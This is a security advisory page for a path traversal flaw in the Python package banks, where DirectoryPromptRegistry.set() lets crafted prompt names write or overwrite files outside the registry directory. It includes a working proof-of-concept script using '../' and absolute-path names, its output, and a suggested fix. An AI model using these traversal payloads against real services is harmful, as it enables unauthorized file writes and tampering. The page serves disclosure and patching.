Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root
Summary
DirectoryPromptRegistry.set() interpolates the attacker-controllable Prompt.name into a Path expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory.
Details
src/banks/registries/directory.py:44
prompt_file = path / f"{prompt.name}.{prompt.version}.jinja"
prompt_file.write_text(prompt.raw)
Two failure modes:
- Relative traversal.
name="../victim/foo"resolves to<registry>/../victim/foo.0.jinja— outside the configured root. - Absolute-path bypass.
pathlibdocuments thatPath("/a") / Path("/b")returnsPath("/b"). Soname="/abs/path"discards the registry root entirely; the registry is never consulted.
The poisoned name is then persisted to index.json, so the out-of-root path keeps reconstructing on later _load() calls (directory.py:135-141). With overwrite=True, existing files at the target path are replaced.
Proof of Concept
import tempfile
from pathlib import Path
from banks import Prompt
from banks.registries import DirectoryPromptRegistry
work = Path(tempfile.mkdtemp())
registry = work / "registry"; registry.mkdir()
victim = work / "victim"; victim.mkdir()
reg = DirectoryPromptRegistry(str(registry))
# (1) Relative traversal
reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0"))
print((victim / "pwned.0.jinja").read_text()) # 'pwn'
# (2) Absolute-path bypass — registry root is silently discarded
target = victim / "absolute_pwn"
reg.set(prompt=Prompt("abs pwn", name=str(target), version="0"))
print((victim / "absolute_pwn.0.jinja").read_text()) # 'abs pwn'
# (3) Clobber an existing file
existing = victim / "clobber_me"
existing.write_text("ORIGINAL\n")
reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"),
overwrite=True)
print((victim / "clobber_me.0.jinja").read_text()) # 'CLOBBERED'
Output (verified on banks==2.4.2):
pwn
abs pwn
CLOBBERED
Negative control: with a benign name="okay-name", the file lands inside <registry>/ and the victim directory remains untouched.
Impact
Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The .0.jinja suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts.
Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied name (and version) to Prompt(...) plus DirectoryPromptRegistry.set().
Suggested Fix
Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization:
# src/banks/registries/directory.py
import re
_NAME_RE = re.compile(r"[A-Za-z0-9._-]+")
@classmethod
def from_prompt_path(cls, prompt, path):
if not _NAME_RE.fullmatch(prompt.name or ""):
raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}")
if not _NAME_RE.fullmatch(prompt.version or ""):
raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}")
candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve()
if candidate.parent != path.resolve():
raise InvalidPromptError(
f"Prompt path escapes registry root: {candidate}"
)
candidate.write_text(prompt.raw)
return cls(
text=prompt.raw, name=prompt.name, version=prompt.version,
metadata=prompt.metadata, path=candidate,
)
The same enforcement should run inside _load() and _get_prompt_file() so a poisoned index.json from a vulnerable run cannot keep escaping after upgrade.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | banks | < 2.4.5 | 2.4.5 |
References
- https://github.com/masci/banks/security/advisories/GHSA-x8wg-4xgc-vr54
- https://nvd.nist.gov/vuln/detail/CVE-2026-71492
- https://github.com/masci/banks/pull/77
- https://github.com/masci/banks/commit/a215f6d779966945c56e0af5abed1ae5916fd9d3
- https://github.com/masci/banks
- https://github.com/masci/banks/releases/tag/v2.4.5
- https://pypi.org/project/banks
- https://github.com/advisories/GHSA-x8wg-4xgc-vr54
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-22- Platform
- Python (PyPI)
- Package
banks- Disclosed
- 02.09.2026
- Updated
- 11.10.2026 15:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3810 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-x8wg-4xgc-vr54 - CC BY 4.0
Vulnerability history: banks
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 05.2026 10.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 1
- Medium 3
Disclosures per year
- 2026: 4
-
Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.